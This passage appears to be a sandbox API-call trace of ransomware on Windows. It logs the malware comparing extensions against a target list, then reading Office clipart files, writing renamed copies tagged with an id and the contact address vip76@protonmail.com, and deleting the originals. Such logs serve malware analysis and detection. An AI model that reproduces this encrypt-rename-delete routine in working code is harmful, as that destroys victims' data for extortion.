	[0178.298] lstrlenW (lpString=".bz2") returned 4
	[0178.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.298] lstrlenW (lpString=".7z") returned 3
	[0178.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.298] lstrlenW (lpString=".dbf") returned 4
	[0178.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.298] lstrlenW (lpString=".1cd") returned 4
	[0178.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.298] lstrlenW (lpString=".jpg") returned 4
	[0178.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.298] lstrlenW (lpString=".doc") returned 4
	[0178.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.298] lstrlenW (lpString=".docx") returned 5
	[0178.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.298] lstrlenW (lpString=".pdf") returned 4
	[0178.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.298] lstrlenW (lpString=".xls") returned 4
	[0178.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.298] lstrlenW (lpString=".xlsx") returned 5
	[0178.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.298] lstrlenW (lpString=".ppt") returned 4
	[0178.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.299] lstrlenW (lpString=".zip") returned 4
	[0178.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.299] lstrlenW (lpString=".rar") returned 4
	[0178.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.299] lstrlenW (lpString=".bz2") returned 4
	[0178.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.299] lstrlenW (lpString=".7z") returned 3
	[0178.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.299] lstrlenW (lpString=".dbf") returned 4
	[0178.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.299] lstrlenW (lpString=".1cd") returned 4
	[0178.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0178.299] lstrlenW (lpString=".jpg") returned 4
	[0178.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.299] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.299] lstrlenW (lpString="HH02313_.WMF") returned 12
	[0178.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0178.300] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3082) returned 1
	[0178.301] CloseHandle (hObject=0x5b0) returned 1
	[0178.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220
	[0178.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0178.302] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.302] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0178.302] GetLastError () returned 0x0
	[0178.303] ReadFile (in: hFile=0x5b0, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xc0a, lpOverlapped=0x0) returned 1
	[0178.305] WriteFile (in: hFile=0x554, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xc10, lpOverlapped=0x0) returned 1
	[0178.306] ReadFile (in: hFile=0x5b0, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.306] WriteFile (in: hFile=0x554, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.306] SetEndOfFile (hFile=0x554) returned 1
	[0178.306] CloseHandle (hObject=0x554) returned 1
	[0178.306] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.306] SetEndOfFile (hFile=0x5b0) returned 1
	[0178.309] CloseHandle (hObject=0x5b0) returned 1
	[0178.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1
	[0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.311] lstrlenW (lpString=".doc") returned 4
	[0178.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.311] lstrlenW (lpString=".docx") returned 5
	[0178.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.311] lstrlenW (lpString=".pdf") returned 4
	[0178.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.311] lstrlenW (lpString=".xls") returned 4
	[0178.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.311] lstrlenW (lpString=".xlsx") returned 5
	[0178.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.311] lstrlenW (lpString=".ppt") returned 4
	[0178.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.311] lstrlenW (lpString=".zip") returned 4
	[0178.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.311] lstrlenW (lpString=".rar") returned 4
	[0178.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.312] lstrlenW (lpString=".bz2") returned 4
	[0178.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.312] lstrlenW (lpString=".7z") returned 3
	[0178.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.312] lstrlenW (lpString=".dbf") returned 4
	[0178.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.312] lstrlenW (lpString=".1cd") returned 4
	[0178.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.312] lstrlenW (lpString=".jpg") returned 4
	[0178.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.312] lstrlenW (lpString=".doc") returned 4
	[0178.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.312] lstrlenW (lpString=".docx") returned 5
	[0178.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.312] lstrlenW (lpString=".pdf") returned 4
	[0178.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.312] lstrlenW (lpString=".xls") returned 4
	[0178.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.312] lstrlenW (lpString=".xlsx") returned 5
	[0178.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.312] lstrlenW (lpString=".ppt") returned 4
	[0178.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.312] lstrlenW (lpString=".zip") returned 4
	[0178.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.313] lstrlenW (lpString=".rar") returned 4
	[0178.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.313] lstrlenW (lpString=".bz2") returned 4
	[0178.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.313] lstrlenW (lpString=".7z") returned 3
	[0178.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.313] lstrlenW (lpString=".dbf") returned 4
	[0178.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.313] lstrlenW (lpString=".1cd") returned 4
	[0178.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0178.313] lstrlenW (lpString=".jpg") returned 4
	[0178.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.313] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.313] lstrlenW (lpString="HM00005_.WMF") returned 12
	[0178.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0178.314] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=23300) returned 1
	[0178.314] CloseHandle (hObject=0x5b0) returned 1
	[0178.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220
	[0178.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0178.315] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.315] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0178.316] GetLastError () returned 0x0
	[0178.316] ReadFile (in: hFile=0x5b0, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x5b04, lpOverlapped=0x0) returned 1
	[0178.318] WriteFile (in: hFile=0x554, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x5b10, lpOverlapped=0x0) returned 1
	[0178.320] ReadFile (in: hFile=0x5b0, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.320] WriteFile (in: hFile=0x554, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.320] SetEndOfFile (hFile=0x554) returned 1
	[0178.320] CloseHandle (hObject=0x554) returned 1
	[0178.320] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.320] SetEndOfFile (hFile=0x5b0) returned 1
	[0178.328] CloseHandle (hObject=0x5b0) returned 1
	[0178.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1
	[0178.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.330] lstrlenW (lpString=".doc") returned 4
	[0178.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.330] lstrlenW (lpString=".docx") returned 5
	[0178.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.330] lstrlenW (lpString=".pdf") returned 4
	[0178.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.330] lstrlenW (lpString=".xls") returned 4
	[0178.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.330] lstrlenW (lpString=".xlsx") returned 5
	[0178.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.330] lstrlenW (lpString=".ppt") returned 4
	[0178.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.330] lstrlenW (lpString=".zip") returned 4
	[0178.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.330] lstrlenW (lpString=".rar") returned 4
	[0178.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.330] lstrlenW (lpString=".bz2") returned 4
	[0178.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.330] lstrlenW (lpString=".7z") returned 3
	[0178.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.330] lstrlenW (lpString=".dbf") returned 4
	[0178.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.331] lstrlenW (lpString=".1cd") returned 4
	[0178.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.331] lstrlenW (lpString=".jpg") returned 4
	[0178.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.331] lstrlenW (lpString=".doc") returned 4
	[0178.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.331] lstrlenW (lpString=".docx") returned 5
	[0178.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.331] lstrlenW (lpString=".pdf") returned 4
	[0178.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.331] lstrlenW (lpString=".xls") returned 4
	[0178.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.331] lstrlenW (lpString=".xlsx") returned 5
	[0178.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.331] lstrlenW (lpString=".ppt") returned 4
	[0178.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.331] lstrlenW (lpString=".zip") returned 4
	[0178.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.331] lstrlenW (lpString=".rar") returned 4
	[0178.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.331] lstrlenW (lpString=".bz2") returned 4
	[0178.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.331] lstrlenW (lpString=".7z") returned 3
	[0178.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.332] lstrlenW (lpString=".dbf") returned 4
	[0178.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.332] lstrlenW (lpString=".1cd") returned 4
	[0178.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0178.332] lstrlenW (lpString=".jpg") returned 4
	[0178.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.332] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.332] lstrlenW (lpString="HM00114_.WMF") returned 12
	[0178.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.605] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=22116) returned 1
	[0178.605] CloseHandle (hObject=0x5b4) returned 1
	[0178.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220
	[0178.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.650] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.650] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0178.651] GetLastError () returned 0x0
	[0178.651] ReadFile (in: hFile=0x4a8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x5664, lpOverlapped=0x0) returned 1
	[0178.653] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x5670, lpOverlapped=0x0) returned 1
	[0178.655] ReadFile (in: hFile=0x4a8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.655] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.655] SetEndOfFile (hFile=0x514) returned 1
	[0178.655] CloseHandle (hObject=0x514) returned 1
	[0178.655] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.655] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.658] CloseHandle (hObject=0x4a8) returned 1
	[0178.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1
	[0178.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.659] lstrlenW (lpString=".doc") returned 4
	[0178.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.659] lstrlenW (lpString=".docx") returned 5
	[0178.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.659] lstrlenW (lpString=".pdf") returned 4
	[0178.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.659] lstrlenW (lpString=".xls") returned 4
	[0178.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.659] lstrlenW (lpString=".xlsx") returned 5
	[0178.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.659] lstrlenW (lpString=".ppt") returned 4
	[0178.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0178.659] lstrlenW (lpString=".zip") returned 4
	[0178.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.659] lstrlenW (lpString=".rar") returned 4
	[0178.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
